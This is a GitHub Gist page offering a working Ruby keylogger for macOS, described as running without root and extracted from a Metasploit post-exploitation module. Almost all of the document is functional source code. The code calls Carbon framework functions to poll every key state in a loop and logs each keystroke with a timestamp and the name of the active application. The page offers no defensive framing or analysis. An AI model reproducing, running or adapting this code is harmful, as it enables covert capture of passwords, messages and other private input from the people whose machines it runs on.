Last active
February 25, 2019 15:07
-
-
Save localhostdotdev/67caf25e3242fcc40cc612e4c1f67d2c to your computer and use it in GitHub Desktop.
Ruby macOS/OXS keylogger. Doesn't require root, just to be ran as a normal user. Extracted from metasploit. https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'thread' | |
require 'fiddle' | |
require 'fiddle/import' | |
SM_KCHR_CACHE = 38 | |
SM_CURRENT_SCRIPT = -2 | |
MAX_APP_NAME = 80 | |
module Carbon | |
extend Fiddle::Importer | |
dlload '/System/Library/Frameworks/Carbon.framework/Carbon' | |
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)' | |
extern 'void GetFrontProcess(ProcessSerialNumber *)' | |
extern 'void GetKeys(void *)' | |
extern 'unsigned char *GetScriptVariable(int, int)' | |
extern 'unsigned char KeyTranslate(void *, int, void *)' | |
extern 'unsigned char CFStringGetCString(void *, void *, int, int)' | |
extern 'int CFStringGetLength(void *)' | |
end | |
psn = Fiddle::Pointer.malloc(16) | |
name = Fiddle::Pointer.malloc(16) | |
name_cstr = Fiddle::Pointer.malloc(MAX_APP_NAME) | |
keymap = Fiddle::Pointer.malloc(16) | |
state = Fiddle::Pointer.malloc(8) | |
itv_start = Time.now.to_i | |
prev_down = Hash.new(false) | |
lastWindow = "" | |
loop do | |
Carbon.GetFrontProcess(psn.ref) | |
Carbon.CopyProcessName(psn.ref, name.ref) | |
Carbon.GetKeys(keymap) | |
str_len = Carbon.CFStringGetLength(name) | |
copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0 | |
app_name = if copied then name_cstr.to_s else 'Unknown' end | |
bytes = keymap.to_str | |
cap_flag = false | |
ascii = 0 | |
ctrlchar = "" | |
(0...128).each do |k| | |
if ((bytes[k >> 3].ord >> (k & 7)) & 1 > 0) | |
if not prev_down[k] | |
case k | |
when 36 | |
ctrlchar = "[enter]" | |
when 48 | |
ctrlchar = "[tab]" | |
when 49 | |
ctrlchar = " " | |
when 51 | |
ctrlchar = "[delete]" | |
when 53 | |
ctrlchar = "[esc]" | |
when 55 | |
ctrlchar = "[cmd]" | |
when 56 | |
ctrlchar = "[shift]" | |
when 57 | |
ctrlchar = "[caps]" | |
when 58 | |
ctrlchar = "[option]" | |
when 59 | |
ctrlchar = "[ctrl]" | |
when 63 | |
ctrlchar = "[fn]" | |
else | |
ctrlchar = "" | |
end | |
if ctrlchar == "" and ascii == 0 | |
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT) | |
curr_ascii = Carbon.KeyTranslate(kchr, k, state) | |
curr_ascii = curr_ascii >> 16 if curr_ascii < 1 | |
prev_down[k] = true | |
if curr_ascii == 0 | |
cap_flag = true | |
else | |
ascii = curr_ascii | |
end | |
elsif ctrlchar != "" | |
prev_down[k] = true | |
end | |
end | |
else | |
prev_down[k] = false | |
end | |
end | |
if ascii != 0 or ctrlchar != "" | |
if app_name != lastWindow | |
puts "[#{Time.now.to_i}] [#{app_name}]\n" | |
lastWindow = app_name | |
end | |
if ctrlchar != "" | |
puts "[#{Time.now.to_i}] [#{app_name}] #{ctrlchar}\n" | |
elsif ascii > 32 and ascii < 127 | |
c = if cap_flag then ascii.chr.upcase else ascii.chr end | |
puts "[#{Time.now.to_i}] [#{app_name}] #{c}\n" | |
else | |
puts "[#{Time.now.to_i}] [#{app_name}] [#{ascii}]\n" | |
end | |
end | |
Kernel.sleep(0.01) | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment